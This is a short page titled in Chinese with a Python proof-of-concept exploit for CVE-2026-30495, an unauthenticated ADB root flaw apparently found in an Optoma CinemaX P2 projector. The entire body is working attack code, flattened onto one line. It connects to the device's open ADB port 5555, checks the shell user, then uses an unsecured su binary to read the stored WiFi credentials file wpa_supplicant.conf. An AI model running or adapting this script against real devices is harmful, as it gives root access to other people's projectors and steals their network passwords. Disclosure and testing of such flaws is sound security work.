CVE-2026-30495 Optoma投影仪未授权ADB访问漏洞

#!/usr/bin/env python3 import subprocess import sys # PoC for CVE-2026-30495: Optoma CinemaX P2 Unauthorized ADB Root # The device exposes ADB on port 5555 without auth and has an unsecured su binary. # Usage: python3 poc.py <TARGET_IP> target = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.100" port = "5555" print(f"[*] Target: {target}:{port}") try: # Step 1: Connect to the ADB server on the device print("[*] Connecting to ADB daemon...") subprocess.run(["adb", "connect", f"{target}:{port}"], check=True) # Step 2: Verify standard shell access print("[*] Checking standard shell access...") result = subprocess.run(["adb", "shell", "whoami"], capture_output=True, text=True) print(f" Current user: {result.stdout.strip()}") # Step 3: Escalate privileges using the unsecured su binary print("[*] Escalating to root privileges...") # Reading WiFi credentials as proof of root access cmd = "cat /data/misc/wifi/wpa_supplicant.conf" print(f"[*] Running: {cmd}") subprocess.run(["adb", "shell", "su", "-c", cmd]) except FileNotFoundError: print("[!] Error: 'adb' command not found. Please ensure Android SDK platform-tools are installed.") except Exception as e: print(f"[!] An error occurred: {e}")